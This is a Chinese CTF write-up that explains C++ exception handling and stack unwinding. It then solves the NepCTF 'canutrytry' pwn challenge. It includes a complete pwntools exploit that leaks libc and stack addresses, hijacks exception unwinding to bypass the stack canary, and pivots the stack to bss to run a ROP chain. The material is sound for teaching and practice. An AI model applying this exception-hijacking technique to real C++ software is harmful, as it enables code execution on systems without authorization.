异常抛出
当程序执行过程中遇到异常,比如除零,数组越界等等,就会抛出异常
#include <iostream>
#include <stdexcept>
int divide(int numerator, int denominator) {
if (denominator == 0) {
throw std::runtime_error("Integer division by zero!");
}
return numerator / denominator;
}
int main() {
try {
std::cout << "5 / 2 = " << divide(5, 2) << std::endl;
std::cout << "5 / 0 = " << divide(5, 0) << std::endl; // 这行会抛出异常
} catch (const std::runtime_error& e) { //捕捉运行时的错误,比如除零
std::cerr << e.what() << std::endl;
}
return 0;
}
栈回退
触发异常后系统会:
- 查找匹配的
catch
块:沿调用栈向上查找,直到找到类型匹配的catch
块或到达main
函数。 - 释放栈帧空间
像代码中这样,在divide
函数中触发的异常,就得先退回到main
函数中
危险点:
如果divide
函数原本没触发异常,那就会按照他的return
来返回,根据rbp
和rsp
回收栈帧。
触发异常后的回退也依赖他们,所以攻击return
和rbp
可以劫持异常的跳转,跳转到本不应该触发的catch
处
异常捕获
由于一个try
是可以有多个catch
的,所以回退到对应的try
代码段后,会根据抛出的异常类型来选择被哪个catch
捕获
如果没有被成功捕获,程序将执行std::terminate()
直接崩溃
如果被捕获就执行catch
中的内容
throw std::runtime_error("Error: Division by zero!");
catch (const std::runtime_error& e)
可以看到抛出的就是runtime_error
,那么也会被runtime_error
捕获
例题 nepctf-canutrytry
void __fastcall __noreturn main(void *a1, char **a2, char **a3)
{
int n2; // [rsp+4h] [rbp-2Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
getflag();
while ( 1 )
{
while ( 1 ) // try {
{
menu(); // }
// try {
std::istream::operator>>(&std::cin, &n2);
if ( n2 != 1 )
break;
visit();
}
if ( n2 != 2 )
exit(0);
leave(); // }
}
}
ida里反编译出来的内容并没有体现异常处理,需要我们进入汇编查看
可以看到,汇编里有try
字样,我们可以在反汇编里标注出来,也就是我之前给出的代码段中
可以看到,menu
单独在一个try
中,其余的内容在另一个try
中
汇编再往下看,就可以看到一些有catch
的段,他们后面有owned by +addr
,这个地址对应的就是try
结尾的那个starts at +addr
其中read_throw
,entergadget
,enterrop
,和是我对三个sub
函数的重命名,按列出的顺序从上到下分别是这些名字
汇编比较长,简单总结一下流程
- 如果在
menu
处抛出异常,可以被捕捉然后进入enterrop
,之后不触发异常就可以进入entergadget
,而entergadget
内部有调用read_throw
- 如果在
menu
以外处抛出异常,会输出setbuf
的地址,和栈地址,那么我们就有了libc
基地址和栈地址
攻击思路:
- 两次申请的机会,需要抛出异常获得
libc
基地址和栈地址,并且创建一个相对大的堆块来栈溢出,而填写size
和申请都是先0后1,如果第一个size
就是负数,就永远申请不到第二个size
的chunck
了。因此第一个为大size
,第二个为负的size
,申请两次 - 因为
menu
抛出不了异常,所以我们必须通过劫持leave
的返回地址为call menu
的下一句,来让程序栈回退的过程中误以为是menu
所在try
抛出了异常。值得注意的是,如果栈溢出导致触发异常了,这个栈回退的过程是无视canary
的检查的。所以在leave
中栈溢出,这里需要让rbp
为栈地址,ret
为call menu
下一句 - 第四步会有栈迁移,
rbp
受影响,所以直接调用write
不行,选择sys-write
,在rop
处布置sys-write
- 进入
read throw
后覆盖rbp
为bss
段,栈迁移到rop
即可
第4点之所以能够只覆盖rbp
为bss
不用像传统的栈迁移那样加一次leave-ret
,是因为抛出-栈回退-捕获的这个过程中,程序会存储寄存器,并且在结尾处再按照图中那样赋值给各个寄存器。
因此我们在第一次栈溢出中必须要一个栈地址
那么注意标红的内容,rbp
由于我们的覆盖变成了bss
段地址,本来这个地址应该是栈上的地址,而在赋值好众多寄存器后,rbp
会获得自身的值,而下图标红处可以看到,执行read-throw
的过程中如果抛出异常就会被下面的部分捕获,最终到leave-ret
,就完成了一个完整的栈迁移
from pwn import *
context(arch='amd64',os='linux')
io=process('./pwn')
#io=remote("nepctf32-nn9h-qtvc-vlb5-ebyypxl7y064.nepctf.com", 443, ssl=True)
libc=ELF('./libc.so.6')
gdb.attach(io, gdbscript='''
#break *0x7ffff7f7b21d
break *0x4015d4
#continue
''')
#gdb.attach(io)
def visit(choice):
io.recvuntil(b'your choice >>')
io.sendline(b'1')
io.recvuntil(b'your choice >>')
io.sendline(str(choice).encode())
def leave(index):
io.recvuntil(b'your choice >>')
io.sendline(b'2')
io.recvuntil(b'index: ')
io.sendline(str(index).encode())
def malloc():
visit(1)
def getsize(size):
visit(2)
io.recvuntil(b'size:')
io.sendline(str(size).encode())
def edit(index,data):
visit(3)
io.recvuntil(b'index:')
io.sendline(str(index).encode())
io.recvuntil(b'content:')
io.sendline(data)
getsize(0x60) #0
getsize(0xffffffff)#1
malloc()
malloc()
#先申请chunck0,后续用于栈溢出
#再申请chunck1,触发第一次异常,泄露libc基地址和栈地址
io.recvuntil(b'setbufaddr:')
leak=int(io.recv(14),16)
libc_base=leak-libc.sym['setbuf']
info("libc_base: "+hex(libc_base))
pop_rdi=libc_base+next(libc.search(asm('pop rdi;ret'),executable=True))
pop_rax=libc_base+next(libc.search(asm('pop rax;ret'),executable=True))
syscall=libc_base+next(libc.search(asm('syscall;ret'),executable=True))
pop_rsi=libc_base+next(libc.search(asm('pop rsi;ret'),executable=True))
pop_rdx=libc_base+next(libc.search(asm('pop rdx;pop r12;ret'),executable=True))
pop_rbp=libc_base+next(libc.search(asm('pop rbp;ret'),executable=True))
io.recvuntil(b'stackaddr:')
stack_addr=int(io.recv(14),16)
info("stack_addr: "+hex(stack_addr))
payload=b'a'*(0x20)+p64(stack_addr)+p64(0x401ed9)
edit(0,payload)
leave(0)
#栈溢出,让栈回退误以为menu处try抛出的异常
flag_addr=0x4053c0
rop_addr=0x405460
rop=p64(pop_rdi)+p64(2)+p64(pop_rsi)+p64(flag_addr)+p64(pop_rdx)+p64(0x40)+p64(0)+p64(pop_rax)+p64(1)+p64(syscall)
io.recvuntil(b'well,prepare your rop now!')
io.sendline(rop)
#后续由于栈迁移,不好打write,所以用sys-write
rop_addr=0x405460
gadget=b''
io.recvuntil(b'Enter your flag: ')
io.sendline(gadget)
#gadget段可以直接不要
pause()
payload=b'a'*0x10+p64(rop_addr-0x8)
#覆盖rbp,造成栈迁移
io.send(payload)
io.interactive()